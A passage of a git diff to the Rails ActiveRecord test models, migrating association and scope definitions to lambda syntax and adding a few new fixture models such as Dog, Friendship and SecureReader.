 class DeveloperWithIncludes < ActiveRecord::Base
   self.table_name = 'developers'
   has_many :audit_logs, :foreign_key => :developer_id
-  default_scope includes(:audit_logs)
+  default_scope { includes(:audit_logs) }
 end
 
 class DeveloperOrderedBySalary < ActiveRecord::Base
   self.table_name = 'developers'
-  default_scope :order => 'salary DESC'
-
-  scope :by_name, order('name DESC')
+  default_scope { order('salary DESC') }
 
-  def self.all_ordered_by_name
-    with_scope(:find => { :order => 'name DESC' }) do
-      find(:all)
-    end
-  end
+  scope :by_name, -> { order('name DESC') }
 end
 
 class DeveloperCalledDavid < ActiveRecord::Base
   self.table_name = 'developers'
-  default_scope where("name = 'David'")
+  default_scope { where("name = 'David'") }
 end
 
 class LazyLambdaDeveloperCalledDavid < ActiveRecord::Base
@@ -140,7 +128,7 @@ end
 
 class ClassMethodReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
   self.table_name = 'developers'
-  scope :david, where(:name => 'David')
+  scope :david, -> { where(:name => 'David') }
 
   def self.default_scope
     david
@@ -149,40 +137,40 @@ end
 
 class LazyBlockReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
   self.table_name = 'developers'
-  scope :david, where(:name => 'David')
+  scope :david, -> { where(:name => 'David') }
   default_scope { david }
 end
 
 class DeveloperCalledJamis < ActiveRecord::Base
   self.table_name = 'developers'
 
-  default_scope where(:name => 'Jamis')
-  scope :poor, where('salary < 150000')
+  default_scope { where(:name => 'Jamis') }
+  scope :poor, -> { where('salary < 150000') }
 end
 
 class PoorDeveloperCalledJamis < ActiveRecord::Base
   self.table_name = 'developers'
 
-  default_scope where(:name => 'Jamis', :salary => 50000)
+  default_scope -> { where(:name => 'Jamis', :salary => 50000) }
 end
 
 class InheritedPoorDeveloperCalledJamis < DeveloperCalledJamis
   self.table_name = 'developers'
 
-  default_scope where(:salary => 50000)
+  default_scope -> { where(:salary => 50000) }
 end
 
 class MultiplePoorDeveloperCalledJamis < ActiveRecord::Base
   self.table_name = 'developers'
 
-  default_scope where(:name => 'Jamis')
-  default_scope where(:salary => 50000)
+  default_scope -> { where(:name => 'Jamis') }
+  default_scope -> { where(:salary => 50000) }
 end
 
 module SalaryDefaultScope
   extend ActiveSupport::Concern
 
-  included { default_scope where(:salary => 50000) }
+  included { default_scope { where(:salary => 50000) } }
 end
 
 class ModuleIncludedPoorDeveloperCalledJamis < DeveloperCalledJamis
@@ -193,14 +181,14 @@ end
 
 class EagerDeveloperWithDefaultScope < ActiveRecord::Base
   self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id'
+  has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
 
-  default_scope includes(:projects)
+  default_scope { includes(:projects) }
 end
 
 class EagerDeveloperWithClassMethodDefaultScope < ActiveRecord::Base
   self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id'
+  has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
 
   def self.default_scope
     includes(:projects)
@@ -209,21 +197,21 @@ end
 
 class EagerDeveloperWithLambdaDefaultScope < ActiveRecord::Base
   self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id'
+  has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
 
   default_scope lambda { includes(:projects) }
 end
 
 class EagerDeveloperWithBlockDefaultScope < ActiveRecord::Base
   self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id'
+  has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
 
   default_scope { includes(:projects) }
 end
 
 class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base
   self.table_name = 'developers'
-  has_and_belongs_to_many :projects, :foreign_key => 'developer_id', :join_table => 'developers_projects', :order => 'projects.id'
+  has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
 
   default_scope OpenStruct.new(:call => includes(:projects))
 end
diff --git a/activerecord/test/models/dog.rb b/activerecord/test/models/dog.rb
new file mode 100644
index 0000000000..72b7d33a86
--- /dev/null
+++ b/activerecord/test/models/dog.rb
@@ -0,0 +1,4 @@
+class Dog < ActiveRecord::Base
+  belongs_to :breeder, :class_name => "DogLover", :counter_cache => :bred_dogs_count
+  belongs_to :trainer, :class_name => "DogLover", :counter_cache => :trained_dogs_count
+end
diff --git a/activerecord/test/models/dog_lover.rb b/activerecord/test/models/dog_lover.rb
new file mode 100644
index 0000000000..a33dc575c5
--- /dev/null
+++ b/activerecord/test/models/dog_lover.rb
@@ -0,0 +1,4 @@
+class DogLover < ActiveRecord::Base
+  has_many :trained_dogs, :class_name => "Dog", :foreign_key => :trainer_id
+  has_many :bred_dogs, :class_name => "Dog", :foreign_key => :breeder_id
+end
diff --git a/activerecord/test/models/friendship.rb b/activerecord/test/models/friendship.rb
new file mode 100644
index 0000000000..6b4f7acc38
--- /dev/null
+++ b/activerecord/test/models/friendship.rb
@@ -0,0 +1,4 @@
+class Friendship < ActiveRecord::Base
+  belongs_to :friend, class_name: 'Person'
+  belongs_to :follower, foreign_key: 'friend_id', class_name: 'Person', counter_cache: :followers_count
+end
diff --git a/activerecord/test/models/joke.rb b/activerecord/test/models/joke.rb
index d7f01e59e6..edda4655dc 100644
--- a/activerecord/test/models/joke.rb
+++ b/activerecord/test/models/joke.rb
@@ -1,7 +1,7 @@
 class Joke < ActiveRecord::Base
-  set_table_name 'funny_jokes'
+  self.table_name = 'funny_jokes'
 end
 
 class GoodJoke < ActiveRecord::Base
-  set_table_name 'funny_jokes'
+  self.table_name = 'funny_jokes'
 end
diff --git a/activerecord/test/models/keyboard.rb b/activerecord/test/models/keyboard.rb
index 32a4a7fad0..39347e274e 100644
--- a/activerecord/test/models/keyboard.rb
+++ b/activerecord/test/models/keyboard.rb
@@ -1,3 +1,3 @@
 class Keyboard < ActiveRecord::Base
-  set_primary_key 'key_number'
+  self.primary_key = 'key_number'
 end
diff --git a/activerecord/test/models/legacy_thing.rb b/activerecord/test/models/legacy_thing.rb
index eaeb642d12..eead181a0e 100644
--- a/activerecord/test/models/legacy_thing.rb
+++ b/activerecord/test/models/legacy_thing.rb
@@ -1,3 +1,3 @@
 class LegacyThing < ActiveRecord::Base
-  set_locking_column :version
+  self.locking_column = :version
 end
diff --git a/activerecord/test/models/liquid.rb b/activerecord/test/models/liquid.rb
index b96c054f6c..6cfd443e75 100644
--- a/activerecord/test/models/liquid.rb
+++ b/activerecord/test/models/liquid.rb
@@ -1,5 +1,5 @@
 class Liquid < ActiveRecord::Base
-  set_table_name :liquid
-  has_many :molecules, :uniq => true
+  self.table_name = :liquid
+  has_many :molecules, -> { uniq }
 end
 
diff --git a/activerecord/test/models/member.rb b/activerecord/test/models/member.rb
index 11a0f4ff63..1134b09d8b 100644
--- a/activerecord/test/models/member.rb
+++ b/activerecord/test/models/member.rb
@@ -5,8 +5,8 @@ class Member < ActiveRecord::Base
   has_many :fellow_members, :through => :club, :source => :members
   has_one :club, :through => :current_membership
   has_one :selected_club, :through => :selected_membership, :source => :club
-  has_one :favourite_club, :through => :membership, :conditions => ["memberships.favourite = ?", true], :source => :club
-  has_one :hairy_club, :through => :membership, :conditions => {:clubs => {:name => "Moustache and Eyebrow Fancier Club"}}, :source => :club
+  has_one :favourite_club, -> { where "memberships.favourite = ?", true }, :through => :membership, :source => :club
+  has_one :hairy_club, -> { where :clubs => {:name => "Moustache and Eyebrow Fancier Club"} }, :through => :membership, :source => :club
   has_one :sponsor, :as => :sponsorable
   has_one :sponsor_club, :through => :sponsor
   has_one :member_detail
@@ -24,9 +24,13 @@ class Member < ActiveRecord::Base
 
   has_one :club_category, :through => :club, :source => :category
 
-  has_many :current_memberships
+  has_many :current_memberships, -> { where :favourite => true }
+  has_many :clubs, :through => :current_memberships
+
   has_one :club_through_many, :through => :current_memberships, :source => :club
+end
 
-  has_many :current_memberships, :conditions => { :favourite => true }
-  has_many :clubs, :through => :current_memberships
+class SelfMember < ActiveRecord::Base
+  self.table_name = "members"
+  has_and_belongs_to_many :friends, :class_name => "SelfMember", :join_table => "member_friends"
 end
diff --git a/activerecord/test/models/minivan.rb b/activerecord/test/models/minivan.rb
index 830cdb5796..4fe79720ad 100644
--- a/activerecord/test/models/minivan.rb
+++ b/activerecord/test/models/minivan.rb
@@ -1,5 +1,5 @@
 class Minivan < ActiveRecord::Base
-  set_primary_key :minivan_id
+  self.primary_key = :minivan_id
 
   belongs_to :speedometer
   has_one :dashboard, :through => :speedometer
diff --git a/activerecord/test/models/mixed_case_monkey.rb b/activerecord/test/models/mixed_case_monkey.rb
index 853f2682b3..763baefd91 100644
--- a/activerecord/test/models/mixed_case_monkey.rb
+++ b/activerecord/test/models/mixed_case_monkey.rb
@@ -1,3 +1,3 @@
 class MixedCaseMonkey < ActiveRecord::Base
-  set_primary_key 'monkeyID'
+  self.primary_key = 'monkeyID'
 end
diff --git a/activerecord/test/models/organization.rb b/activerecord/test/models/organization.rb
index 4a4111833f..72e7bade68 100644
--- a/activerecord/test/models/organization.rb
+++ b/activerecord/test/models/organization.rb
@@ -8,5 +8,5 @@ class Organization < ActiveRecord::Base
   has_one :author, :primary_key => :name
   has_one :author_owned_essay_category, :through => :author, :source => :owned_essay_category
 
-  scope :clubs, { :from => 'clubs' }
+  scope :clubs, -> { from('clubs') }
 end
diff --git a/activerecord/test/models/owner.rb b/activerecord/test/models/owner.rb
index 5760b991ec..fea55f4535 100644
--- a/activerecord/test/models/owner.rb
+++ b/activerecord/test/models/owner.rb
@@ -1,5 +1,5 @@
 class Owner < ActiveRecord::Base
-  set_primary_key :owner_id
+  self.primary_key = :owner_id
   has_many :pets
   has_many :toys, :through => :pets
 end
diff --git a/activerecord/test/models/parrot.rb b/activerecord/test/models/parrot.rb
index 737ef9131b..c4ee2bd19d 100644
--- a/activerecord/test/models/parrot.rb
+++ b/activerecord/test/models/parrot.rb
@@ -1,5 +1,6 @@
 class Parrot < ActiveRecord::Base
-  set_inheritance_column :parrot_sti_class
+  self.inheritance_column = :parrot_sti_class
+
   has_and_belongs_to_many :pirates
   has_and_belongs_to_many :treasures
   has_many :loots, :as => :looter
diff --git a/activerecord/test/models/person.rb b/activerecord/test/models/person.rb
index 967a3625aa..6e6ff29f77 100644
--- a/activerecord/test/models/person.rb
+++ b/activerecord/test/models/person.rb
@@ -1,15 +1,20 @@
 class Person < ActiveRecord::Base
   has_many :readers
+  has_many :secure_readers
   has_one  :reader
 
   has_many :posts, :through => :readers
-  has_many :posts_with_no_comments, :through => :readers, :source => :post, :include => :comments, :conditions => 'comments.id is null'
+  has_many :secure_posts, :through => :secure_readers
+  has_many :posts_with_no_comments, -> { includes(:comments).where('comments.id is null').references(:comments) },
+                                    :through => :readers, :source => :post
+
+  has_many :followers, foreign_key: 'friend_id', class_name: 'Friendship'
 
   has_many :references
   has_many :bad_references
-  has_many :fixed_bad_references, :conditions => { :favourite => true }, :class_name => 'BadReference'
-  has_one  :favourite_reference, :class_name => 'Reference', :conditions => ['favourite=?', true]
-  has_many :posts_with_comments_sorted_by_comment_id, :through => :readers, :source => :post, :include => :comments, :order => 'comments.id'
+  has_many :fixed_bad_references, -> { where :favourite => true }, :class_name => 'BadReference'
+  has_one  :favourite_reference, -> { where 'favourite=?', true }, :class_name => 'Reference'
+  has_many :posts_with_comments_sorted_by_comment_id, -> { includes(:comments).order('comments.id') }, :through => :readers, :source => :post
 
   has_many :jobs, :through => :references
   has_many :jobs_with_dependent_destroy,    :source => :job, :through => :references, :dependent => :destroy
@@ -24,8 +29,8 @@ class Person < ActiveRecord::Base
   has_many :agents_posts,         :through => :agents,       :source => :posts
   has_many :agents_posts_authors, :through => :agents_posts, :source => :author
 
-  scope :males,   :conditions => { :gender => 'M' }
-  scope :females, :conditions => { :gender => 'F' }
+  scope :males,   -> { where(:gender => 'M') }
+  scope :females, -> { where(:gender => 'F') }
 end
 
 class PersonWithDependentDestroyJobs < ActiveRecord::Base
@@ -54,7 +59,7 @@ class LoosePerson < ActiveRecord::Base
   self.table_name = 'people'
   self.abstract_class = true
 
-  attr_protected :comments
+  attr_protected :comments, :best_friend_id, :best_friend_of_id
   attr_protected :as => :admin
 
   has_one    :best_friend,    :class_name => 'LoosePerson', :foreign_key => :best_friend_id
@@ -81,4 +86,29 @@ class TightPerson < ActiveRecord::Base
   accepts_nested_attributes_for :best_friend, :best_friend_of, :best_friends
 end
 
-class TightDescendant < TightPerson; end
\ No newline at end of file
+class TightDescendant < TightPerson; end
+
+class RichPerson < ActiveRecord::Base
+  self.table_name = 'people'
+
+  has_and_belongs_to_many :treasures, :join_table => 'peoples_treasures'
+end
+
+class NestedPerson < ActiveRecord::Base
+  self.table_name = 'people'
+
+  attr_accessible :first_name, :best_friend_first_name, :best_friend_attributes
+  attr_accessible :first_name, :gender, :comments, :as => :admin
+  attr_accessible :best_friend_attributes, :best_friend_first_name, :as => :admin
+
+  has_one :best_friend, :class_name => 'NestedPerson', :foreign_key => :best_friend_id
+  accepts_nested_attributes_for :best_friend, :update_only => true
+
+  def comments=(new_comments)
+    raise RuntimeError
+  end
+
+  def best_friend_first_name=(new_name)
+    assign_attributes({ :best_friend_attributes => { :first_name => new_name } })
+  end
+end
diff --git a/activerecord/test/models/pet.rb b/activerecord/test/models/pet.rb
index 113826756a..3cd5bceed5 100644
--- a/activerecord/test/models/pet.rb
+++ b/activerecord/test/models/pet.rb
@@ -2,7 +2,7 @@ class Pet < ActiveRecord::Base
 
   attr_accessor :current_user
 
-  set_primary_key :pet_id
+  self.primary_key = :pet_id
   belongs_to :owner, :touch => true
   has_many :toys
 
diff --git a/activerecord/test/models/pirate.rb b/activerecord/test/models/pirate.rb
index 5e0f5323e6..609b9369a9 100644
--- a/activerecord/test/models/pirate.rb
+++ b/activerecord/test/models/pirate.rb
@@ -1,7 +1,7 @@
 class Pirate < ActiveRecord::Base
   belongs_to :parrot, :validate => true
   belongs_to :non_validated_parrot, :class_name => 'Parrot'
-  has_and_belongs_to_many :parrots, :validate => true, :order => 'parrots.id ASC'
+  has_and_belongs_to_many :parrots, -> { order('parrots.id ASC') }, :validate => true
   has_and_belongs_to_many :non_validated_parrots, :class_name => 'Parrot'
   has_and_belongs_to_many :parrots_with_method_callbacks, :class_name => "Parrot",
     :before_add    => :log_before_add,
@@ -21,7 +21,7 @@ class Pirate < ActiveRecord::Base
   has_one :ship
   has_one :update_only_ship, :class_name => 'Ship'
   has_one :non_validated_ship, :class_name => 'Ship'
-  has_many :birds, :order => 'birds.id ASC'
+  has_many :birds, -> { order('birds.id ASC') }
   has_many :birds_with_method_callbacks, :class_name => "Bird",
     :before_add    => :log_before_add,
     :after_add     => :log_after_add,
@@ -34,7 +34,7 @@ class Pirate < ActiveRecord::Base
     :after_remove   => proc {|p,b| p.ship_log << "after_removing_proc_bird_#{b.id}"}
   has_many :birds_with_reject_all_blank, :class_name => "Bird"
 
-  has_one :foo_bulb, :foreign_key => :car_id, :class_name => "Bulb", :conditions => { :name => 'foo' }
+  has_one :foo_bulb, -> { where :name => 'foo' }, :foreign_key => :car_id, :class_name => "Bulb"
 
   accepts_nested_attributes_for :parrots, :birds, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
   accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
diff --git a/activerecord/test/models/post.rb b/activerecord/test/models/post.rb
index 198a963cbc..9c5b7310ff 100644
--- a/activerecord/test/models/post.rb
+++ b/activerecord/test/models/post.rb
@@ -5,15 +5,10 @@ class Post < ActiveRecord::Base
     end
   end
 
-  scope :containing_the_letter_a, where("body LIKE '%a%'")
-  scope :ranked_by_comments, order("comments_count DESC")
+  scope :containing_the_letter_a, -> { where("body LIKE '%a%'") }
+  scope :ranked_by_comments,      -> { order("comments_count DESC") }
 
   scope :limit_by, lambda {|l| limit(l) }
-  scope :with_authors_at_address, lambda { |address| {
-      :conditions => [ 'authors.author_address_id = ?', address.id ],
-      :joins => 'JOIN authors ON authors.id = posts.author_id'
-    }
-  }
 
   belongs_to :author do
     def greeting
@@ -21,38 +16,45 @@ class Post < ActiveRecord::Base
     end
   end
 
-  belongs_to :author_with_posts, :class_name => "Author", :foreign_key => :author_id, :include => :posts
-  belongs_to :author_with_address, :class_name => "Author", :foreign_key => :author_id, :include => :author_address
+  belongs_to :author_with_posts, -> { includes(:posts) }, :class_name => "Author", :foreign_key => :author_id
+  belongs_to :author_with_address, -> { includes(:author_address) }, :class_name => "Author", :foreign_key => :author_id
 
-  has_one :last_comment, :class_name => 'Comment', :order => 'id desc'
+  def first_comment
+    super.body
+  end
+  has_one :first_comment, -> { order('id ASC') }, :class_name => 'Comment'
+  has_one :last_comment, -> { order('id desc') }, :class_name => 'Comment'
 
-  scope :with_special_comments, :joins => :comments, :conditions => {:comments => {:type => 'SpecialComment'} }
-  scope :with_very_special_comments, joins(:comments).where(:comments => {:type => 'VerySpecialComment'})
-  scope :with_post, lambda {|post_id|
-    { :joins => :comments, :conditions => {:comments => {:post_id => post_id} } }
-  }
+  scope :with_special_comments, -> { joins(:comments).where(:comments => {:type => 'SpecialComment'}) }
+  scope :with_very_special_comments, -> { joins(:comments).where(:comments => {:type => 'VerySpecialComment'}) }
+  scope :with_post, ->(post_id) { joins(:comments).where(:comments => { :post_id => post_id }) }
 
   has_many   :comments do
     def find_most_recent
-      find(:first, :order => "id DESC")
+      order("id DESC").first
     end
 
     def newest
       created.last
     end
+
+    def the_association
+      proxy_association
+    end
   end
 
   has_many :author_favorites, :through => :author
   has_many :author_categorizations, :through => :author, :source => :categorizations
   has_many :author_addresses, :through => :author
 
-  has_many :comments_with_interpolated_conditions, :class_name => 'Comment',
-    :conditions => proc { ["#{"#{aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome'] }
+  has_many :comments_with_interpolated_conditions,
+    ->(p) { where "#{"#{p.aliased_table_name}." rescue ""}body = ?", 'Thank you for the welcome' },
+    :class_name => 'Comment'
 
   has_one  :very_special_comment
-  has_one  :very_special_comment_with_post, :class_name => "VerySpecialComment", :include => :post
+  has_one  :very_special_comment_with_post, -> { includes(:post) }, :class_name => "VerySpecialComment"
   has_many :special_comments
-  has_many :nonexistant_comments, :class_name => 'Comment', :conditions => 'comments.id < 0'
+  has_many :nonexistant_comments, -> { where 'comments.id < 0' }, :class_name => 'Comment'
 
   has_many :special_comments_ratings, :through => :special_comments, :source => :ratings
   has_many :special_comments_ratings_taggings, :through => :special_comments_ratings, :source => :taggings
@@ -63,33 +65,30 @@ class Post < ActiveRecord::Base
   has_many :taggings, :as => :taggable
   has_many :tags, :through => :taggings do
     def add_joins_and_select
-      find :all, :select => 'tags.*, authors.id as author_id',
-        :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+      select('tags.*, authors.id as author_id')
+        .joins('left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id')
+        .to_a
     end
   end
 
-  has_many :interpolated_taggings, :class_name => 'Tagging', :as => :taggable, :conditions => proc { "1 = #{1}" }
-  has_many :interpolated_tags, :through => :taggings
-  has_many :interpolated_tags_2, :through => :interpolated_taggings, :source => :tag
-
   has_many :taggings_with_delete_all, :class_name => 'Tagging', :as => :taggable, :dependent => :delete_all
   has_many :taggings_with_destroy, :class_name => 'Tagging', :as => :taggable, :dependent => :destroy
 
   has_many :tags_with_destroy, :through => :taggings, :source => :tag, :dependent => :destroy
   has_many :tags_with_nullify, :through => :taggings, :source => :tag, :dependent => :nullify
 
-  has_many :misc_tags, :through => :taggings, :source => :tag, :conditions => { :tags => { :name => 'Misc' } }
+  has_many :misc_tags, -> { where :tags => { :name => 'Misc' } }, :through => :taggings, :source => :tag
   has_many :funky_tags, :through => :taggings, :source => :tag
   has_many :super_tags, :through => :taggings
   has_many :tags_with_primary_key, :through => :taggings, :source => :tag_with_primary_key
   has_one :tagging, :as => :taggable
 
-  has_many :first_taggings, :as => :taggable, :class_name => 'Tagging', :conditions => { :taggings => { :comment => 'first' } }
-  has_many :first_blue_tags, :through => :first_taggings, :source => :tag, :conditions => { :tags => { :name => 'Blue' } }
+  has_many :first_taggings, -> { where :taggings => { :comment => 'first' } }, :as => :taggable, :class_name => 'Tagging'
+  has_many :first_blue_tags, -> { where :tags => { :name => 'Blue' } }, :through => :first_taggings, :source => :tag
 
-  has_many :first_blue_tags_2, :through => :taggings, :source => :blue_tag, :conditions => { :taggings => { :comment => 'first' } }
+  has_many :first_blue_tags_2, -> { where :taggings => { :comment => 'first' } }, :through => :taggings, :source => :blue_tag
 
-  has_many :invalid_taggings, :as => :taggable, :class_name => "Tagging", :conditions => 'taggings.id < 0'
+  has_many :invalid_taggings, -> { where 'taggings.id < 0' }, :as => :taggable, :class_name => "Tagging"
   has_many :invalid_tags, :through => :invalid_taggings, :source => :tag
 
   has_many :categorizations, :foreign_key => :category_id
@@ -107,15 +106,17 @@ class Post < ActiveRecord::Base
   has_many :named_categories, :through => :standard_categorizations
 
   has_many :readers
-  has_many :readers_with_person, :include => :person, :class_name => "Reader"
+  has_many :secure_readers
+  has_many :readers_with_person, -> { includes(:person) }, :class_name => "Reader"
   has_many :people, :through => :readers
+  has_many :secure_people, :through => :secure_readers
   has_many :single_people, :through => :readers
   has_many :people_with_callbacks, :source=>:person, :through => :readers,
               :before_add    => lambda {|owner, reader| log(:added,   :before, reader.first_name) },
               :after_add     => lambda {|owner, reader| log(:added,   :after,  reader.first_name) },
               :before_remove => lambda {|owner, reader| log(:removed, :before, reader.first_name) },
               :after_remove  => lambda {|owner, reader| log(:removed, :after,  reader.first_name) }
-  has_many :skimmers, :class_name => 'Reader', :conditions => { :skimmer => true }
+  has_many :skimmers, -> { where :skimmer => true }, :class_name => 'Reader'
   has_many :impatient_people, :through => :skimmers, :source => :person
 
   def self.top(limit)
@@ -161,7 +162,7 @@ end
 
 class FirstPost < ActiveRecord::Base
   self.table_name = 'posts'
-  default_scope where(:id => 1)
+  default_scope { where(:id => 1) }
 
   has_many :comments, :foreign_key => :post_id
   has_one  :comment,  :foreign_key => :post_id
@@ -169,16 +170,16 @@ end
 
 class PostWithDefaultInclude < ActiveRecord::Base
   self.table_name = 'posts'
-  default_scope includes(:comments)
+  default_scope { includes(:comments) }
   has_many :comments, :foreign_key => :post_id
 end
 
 class PostWithDefaultScope < ActiveRecord::Base
   self.table_name = 'posts'
-  default_scope :order => :title
+  default_scope { order(:title) }
 end
 
 class SpecialPostWithDefaultScope < ActiveRecord::Base
   self.table_name = 'posts'
-  default_scope where(:id => [1, 5,6])
-end
\ No newline at end of file
+  default_scope { where(:id => [1, 5,6]) }
+end
diff --git a/activerecord/test/models/project.rb b/activerecord/test/models/project.rb
index efe1ce67da..af3ec4be83 100644
--- a/activerecord/test/models/project.rb
+++ b/activerecord/test/models/project.rb
@@ -1,26 +1,30 @@
 class Project < ActiveRecord::Base
-  has_and_belongs_to_many :developers, :uniq => true, :order => 'developers.name desc, developers.id desc'
-  has_and_belongs_to_many :readonly_developers, :class_name => "Developer", :readonly => true
-  has_and_belongs_to_many :selected_developers, :class_name => "Developer", :select => "developers.*", :uniq => true
-  has_and_belongs_to_many :non_unique_developers, :order => 'developers.name desc, developers.id desc', :class_name => 'Developer'
-  has_and_belongs_to_many :limited_developers, :class_name => "Developer", :limit => 1
-  has_and_belongs_to_many :developers_named_david, :class_name => "Developer", :conditions => "name = 'David'", :uniq => true
-  has_and_belongs_to_many :developers_named_david_with_hash_conditions, :class_name => "Developer", :conditions => { :name => 'David' }, :uniq => true
-  has_and_belongs_to_many :salaried_developers, :class_name => "Developer", :conditions => "salary > 0"
-  has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
-  has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
-    "SELECT
-       t.*, j.*
-     FROM
-       developers_projects j,
-       developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
-  }
-  has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
+  has_and_belongs_to_many :developers, -> { uniq.order 'developers.name desc, developers.id desc' }
+  has_and_belongs_to_many :readonly_developers, -> { readonly }, :class_name => "Developer"
+  has_and_belongs_to_many :selected_developers, -> { uniq.select "developers.*" }, :class_name => "Developer"
+  has_and_belongs_to_many :non_unique_developers, -> { order 'developers.name desc, developers.id desc' }, :class_name => 'Developer'
+  has_and_belongs_to_many :limited_developers, -> { limit 1 }, :class_name => "Developer"
+  has_and_belongs_to_many :developers_named_david, -> { where("name = 'David'").uniq }, :class_name => "Developer"
+  has_and_belongs_to_many :developers_named_david_with_hash_conditions, -> { where(:name => 'David').uniq }, :class_name => "Developer"
+  has_and_belongs_to_many :salaried_developers, -> { where "salary > 0" }, :class_name => "Developer"
+
+  ActiveSupport::Deprecation.silence do
+    has_and_belongs_to_many :developers_with_finder_sql, :class_name => "Developer", :finder_sql => proc { "SELECT t.*, j.* FROM developers_projects j, developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id" }
+    has_and_belongs_to_many :developers_with_multiline_finder_sql, :class_name => "Developer", :finder_sql => proc {
+      "SELECT
+         t.*, j.*
+       FROM
+         developers_projects j,
+         developers t WHERE t.id = j.developer_id AND j.project_id = #{id} ORDER BY t.id"
+    }
+    has_and_belongs_to_many :developers_by_sql, :class_name => "Developer", :delete_sql => proc { |record| "DELETE FROM developers_projects WHERE project_id = #{id} AND developer_id = #{record.id}" }
+  end
+
   has_and_belongs_to_many :developers_with_callbacks, :class_name => "Developer", :before_add => Proc.new {|o, r| o.developers_log << "before_adding#{r.id || '<new>'}"},
                             :after_add => Proc.new {|o, r| o.developers_log << "after_adding#{r.id || '<new>'}"},
                             :before_remove => Proc.new {|o, r| o.developers_log << "before_removing#{r.id}"},
                             :after_remove => Proc.new {|o, r| o.developers_log << "after_removing#{r.id}"}
-  has_and_belongs_to_many :well_payed_salary_groups, :class_name => "Developer", :group => "developers.salary", :having => "SUM(salary) > 10000", :select => "SUM(salary) as salary"
+  has_and_belongs_to_many :well_payed_salary_groups, -> { group("developers.salary").having("SUM(salary) > 10000").select("SUM(salary) as salary") }, :class_name => "Developer"
 
   attr_accessor :developers_log
   after_initialize :set_developers_log
@@ -32,7 +36,7 @@ class Project < ActiveRecord::Base
   def self.all_as_method
     all
   end
-  scope :all_as_scope, {}
+  scope :all_as_scope, -> { all }
 end
 
 class SpecialProject < Project
diff --git a/activerecord/test/models/randomly_named_c1.rb b/activerecord/test/models/randomly_named_c1.rb
new file mode 100644
index 0000000000..18a86c4989
--- /dev/null
+++ b/activerecord/test/models/randomly_named_c1.rb
@@ -0,0 +1,3 @@
+class ClassNameThatDoesNotFollowCONVENTIONS < ActiveRecord::Base

+  self.table_name = :randomly_named_table

+end

diff --git a/activerecord/test/models/reader.rb b/activerecord/test/models/reader.rb
index 0207a2bd92..59005ac604 100644
--- a/activerecord/test/models/reader.rb
+++ b/activerecord/test/models/reader.rb
@@ -3,3 +3,12 @@ class Reader < ActiveRecord::Base
   belongs_to :person, :inverse_of => :readers
   belongs_to :single_person, :class_name => 'Person', :foreign_key => :person_id, :inverse_of => :reader
 end
+
+class SecureReader < ActiveRecord::Base
+  self.table_name = "readers"
+
+  belongs_to :secure_post, :class_name => "Post", :foreign_key => "post_id"
+  belongs_to :secure_person, :inverse_of => :secure_readers, :class_name => "Person", :foreign_key => "person_id"
+
+  attr_accessible nil
+end
diff --git a/activerecord/test/models/reference.rb b/activerecord/test/models/reference.rb
index c5af0b5d5f..561b431766 100644
--- a/activerecord/test/models/reference.rb
+++ b/activerecord/test/models/reference.rb
@@ -19,5 +19,5 @@ end
 
 class BadReference < ActiveRecord::Base
   self.table_name = 'references'
-  default_scope where(:favourite => false)
+  default_scope { where(:favourite => false) }
 end
diff --git a/activerecord/test/models/reply.rb b/activerecord/test/models/reply.rb
index 6adfe0ae3c..53bc95e5f2 100644
--- a/activerecord/test/models/reply.rb
+++ b/activerecord/test/models/reply.rb
@@ -1,7 +1,7 @@
 require 'models/topic'
 
 class Reply < Topic
-  scope :base
+  scope :base, -> { scoped }
 
   belongs_to :topic, :foreign_key => "parent_id", :counter_cache => true
   belongs_to :topic_with_primary_key, :class_name => "Topic", :primary_key => "title", :foreign_key => "parent_title", :counter_cache => "replies_count"
diff --git a/activerecord/test/models/speedometer.rb b/activerecord/test/models/speedometer.rb
index 94743eff8e..0a7d38d8ec 100644
--- a/activerecord/test/models/speedometer.rb
+++ b/activerecord/test/models/speedometer.rb
@@ -1,4 +1,4 @@
 class Speedometer < ActiveRecord::Base
-  set_primary_key :speedometer_id
+  self.primary_key = :speedometer_id
   belongs_to :dashboard
-end
\ No newline at end of file
+end
diff --git a/activerecord/test/models/sponsor.rb b/activerecord/test/models/sponsor.rb
index aa4a3638fd..ec3dcf8a97 100644
--- a/activerecord/test/models/sponsor.rb
+++ b/activerecord/test/models/sponsor.rb
@@ -2,6 +2,6 @@ class Sponsor < ActiveRecord::Base
   belongs_to :sponsor_club, :class_name => "Club", :foreign_key => "club_id"
   belongs_to :sponsorable, :polymorphic => true
